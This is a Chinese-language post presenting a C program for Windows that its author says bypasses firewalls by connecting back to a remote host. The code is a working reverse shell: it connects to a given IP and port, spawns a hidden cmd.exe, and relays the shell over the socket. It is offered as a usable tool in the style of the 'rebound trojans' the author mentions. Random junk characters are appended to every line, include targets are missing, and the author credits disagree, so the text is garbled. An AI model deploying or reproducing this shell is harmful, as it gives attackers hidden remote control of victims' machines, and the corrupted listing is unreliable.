Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 EBK\.[  
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/* ============================== J*a`qU   
Rebound port in Windows NT /x0zZ+}V  
By wind,2006/7 M~ynJ@q  
===============================*/ z4UeUVfZ}  
#include Pg*ZQE[ME8  
#include AD*+?%hj  
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#pragma comment(lib,"wsock32.lib") lYQcQ*-  
> {fX;l  
void OutputShell(); mR8&9]g&  
SOCKET sClient; # ?}WQP!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3o"~_l$z  
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void main(int argc,char **argv) 8I@=?  
{ MJ}VNv|S  
WSADATA stWsaData; ,^AkfOY7"  
int nRet; (Q#A Br8  
SOCKADDR_IN stSaiClient,stSaiServer; 89'nbg  
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if(argc != 3) ;9B:E"K?@1  
{ }6^(  
printf("Useage:\n\rRebound DestIP DestPort\n"); B0Xn9Tvk  
return; Q'$aFl'NR  
} zzq/%jki  
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WSAStartup(MAKEWORD(2,2),&stWsaData); z'fGHiX7.0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ew}C*4qH  
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stSaiClient.sin_family = AF_INET; A g
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stSaiClient.sin_port = htons(0); 9FJU'$FN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h+N75  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l$zo3[  
{
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printf("Bind Socket Failed!\n"); LL kAA?P  
return; 
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} "xnek8F  
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stSaiServer.sin_family = AF_INET; (Ozb+W?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L7a+ #mGE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H'
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !C#q  
{ 8h;1(S)*Z  
printf("Connect Error!"); 8M(N  
return; 0~an\4nh  
} gt}/C4|  
OutputShell(); )Bd+jli|s  
} QJOP*<O  
G}}oeS  
void OutputShell() >Pbd#*  
{ (W*yF2r  
char szBuff[1024]; o7]h;Zg5r  
SECURITY_ATTRIBUTES stSecurityAttributes; w;>]L.n  
OSVERSIONINFO stOsversionInfo; Dve5Ml-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "QGP]F  
STARTUPINFO stStartupInfo; fv<
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char *szShell; f8'&(-  
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hvZW~ =75  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ) ,*&rd!  
stSecurityAttributes.lpSecurityDescriptor = 0; A+;]# 1y(D  
stSecurityAttributes.bInheritHandle = TRUE; fwXk{P/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^N0hc!$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WpSdukXY{  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =2->1<!x6<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >/$Q:92T  
stStartupInfo.wShowWindow = SW_HIDE; n'%*vdHKm  
stStartupInfo.hStdInput = hReadPipe; o(|`atvK  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3vVhE,
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GetVersionEx(&stOsversionInfo); &k : |  
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switch(stOsversionInfo.dwPlatformId) wQ(ME7t  
{ t-_N|iW' 5  
case 1: dtm_~r7~  
szShell = "command.com"; `I_%`15>  
break; ~>s^/`|?  
default: < ~x5{p  
szShell = "cmd.exe"; FW[<;$  
break; 'fawpU|h  
} Es[?yft2Q<  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !>9*$E |  
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send(sClient,szMsg,77,0); G0y%_
"[  
while(1) B^$l]cvZ  
{ SZvw>=)a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )p12SGR5  
if(lBytesRead) ^x:4%%Q]l  
{ B]Yj"LM)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >:Q:+R;3o  
send(sClient,szBuff,lBytesRead,0); s( 2=E|  
} |~v($c  
else j!:U*}f  
{ #@lr$^M  
lBytesRead=recv(sClient,szBuff,1024,0); -v>BeVF  
if(lBytesRead<=0) break; E62VuX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,7/un8:%c  
} jwAO{.}T1r  
} gh
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OkA-=M)RI:  
return; vAwFPqu  
}